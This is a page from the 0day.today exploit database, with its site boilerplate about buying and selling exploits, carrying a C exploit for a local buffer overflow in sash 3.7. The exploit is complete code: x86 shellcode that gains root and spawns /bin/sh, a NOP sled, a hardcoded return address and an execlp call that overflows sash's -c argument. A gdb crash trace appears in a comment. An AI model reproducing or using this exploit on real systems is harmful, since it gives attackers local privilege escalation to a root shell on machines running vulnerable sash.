0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
sash <= 3.7 Local Buffer Overflow Exploit
========================================= sash <= 3.7 Local Buffer Overflow Exploit ========================================= /* sash-3.7 buffer overflow in c argyment written by lammat for practice purposes http://grpower.ath.cx lammat@iname.com (gdb) r -c `perl -e 'print "A"x10256'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /sbin/sash -c `perl -e 'print "A"x10256'` warning: shared library handler failed to enable breakpoint Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> static char shellcode[]= "\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; #define NOP 0x90 #define LEN 10256 #define RET 0xbfff7770 int main() { char buffer[LEN]; long retaddr = RET; int i; fprintf(stderr,"using address 0x%lx\n",retaddr); /* Filling the buffer... */ for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr; for (i=0;i<(LEN-strlen(shellcode)-100);i++) *(buffer+i) = NOP; memcpy(buffer+i,shellcode,strlen(shellcode)); /* Executing sash */ execlp("/sbin/sash","sash","-c",buffer); return 0; } # 0day.today [2024-12-24] #